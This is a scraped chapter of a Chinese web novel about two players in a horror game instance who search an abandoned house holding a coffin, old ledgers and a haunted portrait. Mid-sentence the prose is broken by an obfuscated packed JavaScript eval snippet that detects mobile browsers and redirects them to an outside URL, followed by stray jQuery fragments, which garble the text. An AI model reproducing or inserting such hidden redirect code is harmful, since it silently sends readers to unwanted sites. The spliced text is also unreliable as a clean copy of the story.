123读书网 > 都市小说 > 星际第一数据师 > 21.幸福山5.1
    蹿出来的东西让人心下一惊,好在无论是周云钧还是傅宗升都所准备,一个后仰,一个旋身迅速躲避开。


    从水里出现的那东西紧追不舍,周云钧首重长剑瞬间抽出,又是一声清晰的格挡。


    这一瞬间倒是叫人看清楚那是什么东西,乍一看仿佛一团如半人高的绿毛,但仔细一看才能看出它活像是一只跌落水里身上都是绿苔和水草的猴子,但却又有着一张扭曲的人脸。


    说是人脸也不尽然,只是有点眼熟,不知道在何处见过。出水只是一瞬,见没有得手,那团黑影很快再度沉入溪水之中。


    傅宗升:“什么东西?”


    周云钧皱眉:“看起来像是精怪,不清楚。”


    “不过八成是这东西把皮草弄死了。”


    两个人艺高人大胆,知道溪水里有什么东西,就没多怕了,又在溪水边绕了两圈,还是没等到里面的东西出来,眼看着时间很晚了,这才下了山。


    第二天的行程任务仍旧很简单,简单到诡异了——到晚上的时候再去烧纸。这样来看是准备停灵停够三四天再埋坟了。


    知道皮草大哥已经打出GG,小年轻不敢再瞎跑,只脸色不好的待在家里。其实高挑女生和红韵也不愿意出门去听外面说的那些很难听的话——她们是心大不错,但一连听了两天早已心烦意乱,正好这个副本的一些隐藏机制大概已经摸清,就尽量小心翼翼地不让自己出格,免得突遭飞祸。


    很明显小年轻也是这么想的,于是他们三个打算等到快到晚上完成任务,试试看能不能苟过去。


    今早出门溜达的时候没听到自己的必死传言,周云钧倒觉得自己还有些时间再出门——他隐约觉得不出门也没没办法阻止死亡的局面。


    不过相较于这些,他想趁白天去看看那老两口。


    这么多天,除了第一天玩家抵达这里的时候他们出现过,后面几天跟没这两个人一样再也找不到了。


    周云钧甚至见过头一天说他和傅宗升读书读傻了的那两个老婆婆,也没见过玩家的‘父母’。


    这么长时间不见不是好事,这只意味着后面这老两口有重大剧情,不然不会这么些天不出现——尤其这两个人看起来都像BOSS。


    对于周云钧的猜测,傅宗升觉得有道理。不过刘玉书家或许也没那么简单。


    玩家烧纸只在灵棚,而灵棚在刘玉书家前院子里,后面院子,以及刘玉书家的其他人见的不多。


    傅宗升直觉有些线索可能被他们错过了,想去再看看。


    两个人商量着分开去调查,一人向南,一人向东。


    目送队友离去,周云钧回神,脚下一拐,去了大槐树后的小平房院子。


    平常,很少会有孩子在成家之前和父母分开住的情况,但他们这些玩家从进入副本开始,就和名义上的父母两个人分开。


    在处处遵循逻辑、语言、习俗的这个副本里,这就不太对劲了。


    想了想背景积分,又想了想那一顿三千积分的饭菜,周云钧决定明探父母家。


    院子外土地上种着一棵巨大的槐树,枝蔓叶茂,将大门和一部分院子遮盖得阴凉。大门低矮狭窄,年久失修,一些小草、青苔从砖头缝里伸出来,被风一吹,仿佛连着根系的泥土也被吹了出来。


    木门紧闭,像是人不在家。


    周云钧上前试探性地敲了敲,只有沉沉的木头声响,等了片刻也没听见有人来开门。


    站在原地的青年思考,最后从地上随便捡了条木枝,伸进门后去挑开那个老式栓。像这种大门,如果是从外面锁的,需要用铁丝或者钥匙才能打开,但是如果是从里面拴上顺便用木棍顶住,那只需要挑开老式栓,再用力将木棍弄开就行。


    捣鼓一阵,大门被打开,竖起长发的人听了听里面的动静,发觉没有什么声音,于是稍稍松了口气,放轻动作,悄无声息地进去。


    入目是有些干燥荒芜的地面,不知道是打扫的太干净,还是这片地不好,长不出什么东西。院子是很常见的设计,左边是搭建起大棚子似的厨房,中后方低矮的屋子是主屋,平常人家大开着的堂屋此刻紧闭着房门,没有上锁,却关得十分严实。


    院子外那棵巨大的槐树摇晃不堪,遮挡太阳带来的阴影投于地面,不知道怎么回事,大风吹起,凉意不止。


    总觉得背后凉凉的,周云钧疑神疑鬼地往后看了几眼,皱着眉,手臂按在长匣之上,一旦有异动,直接拔剑。


    矮屋大门紧闭,但一推就开。时间太长的木头摩擦,发出吱呀吱呀的声响,屋子里飘荡着浓烈的腐臭腥气霎时出现,令人作呕。


    推开一个小缝隙,周云钧侧身进入,将袖子捂在脸上。


    两旁的窗户本该射入阳光,但却被人用厚实的黑布遮盖得严严实实,整个屋子内空气并不流通,腐臭气混杂着木头腐烂在泥土里的味道。整体十分阴暗,黑漆漆的,看东西很是勉强,隐约看出堂屋中央没有待客吃饭用的桌子,反而似乎放着一架棺材似的东西。


    “......”


    看到棺材那一刻,周云钧头皮一麻,他只悄声靠近,棺材并没有全部钉死,甚至没有合上。说实话,他不是很想知道这个棺材里躺着的到底是谁——十有八九是那位老妇人、玩家的便宜母亲。


    他一抬眼,正好看到棺材前方有一个被布遮盖住的方形相框,虽然不知道布下面是谁,但周云钧直觉如果他将上面的黑布拿下来恐怕会发生什么不太好的事。


    他降低自己的存在感和气息,悄无声息、小心翼翼地开始在这个屋子里查看起来。


    这间屋子应该很久都没人住过了,无论是床榻还是摆放的家具上落了厚厚的一层灰尘,乱七八糟的东西放着,没什么人收拾。


    但在大堂连通的偏房前,有很杂乱的痕迹,像是经历过打架一样。


    周云钧又在屋子里转了一圈,没太敢接近棺材和照片,不过还真让他找到了些线索。


    有两本记账本,一本是记账的人文化程度虽然不高


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646332|186932||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,但是懂一点,写得很是清楚。另一本就不算太好了,也不常写,有一些错别字和拼音,字体歪歪扭扭。


    第一本时间久了,纸张破破烂烂,勉强能够看清楚上面写的是有点奇怪的数字,琢磨了半天,周云钧恍然大悟,这写的是不知道是谁给的东西。


    有钱,有鸡鸭,还有论斤称的肉,当然,最多的还是钱。


    他粗略估计了一下,发现总共大概有小一万多——在这个年代,这些钱可不是小数目。


    另一本前几页账还很清楚,无非是今天借了谁谁家的几个鸡蛋,后天还了谁谁家的东西,又借给谁谁家水果、农具之类的。


    能够看出记这些的人很认真,但到后面就变了,记账的很少,都变成了‘借’,不过与其说是‘借’不如说是要,因为没有找到换:


    借了刘大家一只鸡。


    借了刘大家几根棒子。


    给了三婶子家六个鸡蛋。


    借了刘羊家......


    字迹潦草,但能够看出来出现名字最多的就是刘大和刘羊,刘大就是刘玉书,刘羊是刘玉书的父亲。记账本上只偶尔会有什么给谁谁家什么东西,但不出意外都没还。


    为什么不用还?


    周云钧心想,因为刘玉书和刘羊都心虚。


    几年前刘柱的死可能有什么蹊跷,先是刘羊用钱和东西堵上了刘柱父母、也就是玩家拜的那两个老头老太太的嘴,后面老头老太太死了,但没来得及将事情告诉玩家的父母。


    不过玩家父母应该是不知道怎么地知道了,这才拿捏他们这么长时间。


    怪不得这家父母能够养活这么多孩子还送出去上大学,敢情背后还有支持人。


    周云钧快速翻阅一遍,心里有了个大概,又在屋子里到处小心翼翼搜索一边。


    他动手很小心,呼吸放得极轻,这让搜索的过程变得很漫长,但好在一直没有弄出什么动作,眼看着没有更多线索了,这才准备离开,忽然听到了细微的动静。


    他猛然转头,手已经再度放到了武器上,这才发现是赶过来的傅宗升,大概是知道这屋里有点不太寻常,惯来多话的人没有开口,只朝周云钧比了个出去的手势。


    周云钧松了一口气,正准备出去,托的两本账本滑了一下,他弯腰下意识用另一只手捏住,但没想到账本像是无视他的手指一样诡异地落了地。


    “嘭——”


    本子掉落地面的声音本该不大,极轻,但无论是周云钧还是傅宗升都被这一变故惊得浑身一僵,呼吸骤停。


    两个人屏住呼吸等待片刻——没有什么发生。


    周云钧缓缓吐出一口气,刚想继续离开这里,却发觉傅宗升看向棺材前方的中央缓缓皱眉。


    心脏猛地一沉。


    他转过头,发现那张相框上的黑布不知什么时候滑落,一个笑容干瘪虽然慈祥但十分诡异的老头静静地睁着眼。


    不知是过了一刻,还是很长时间,它骤然转动眼珠投过视线!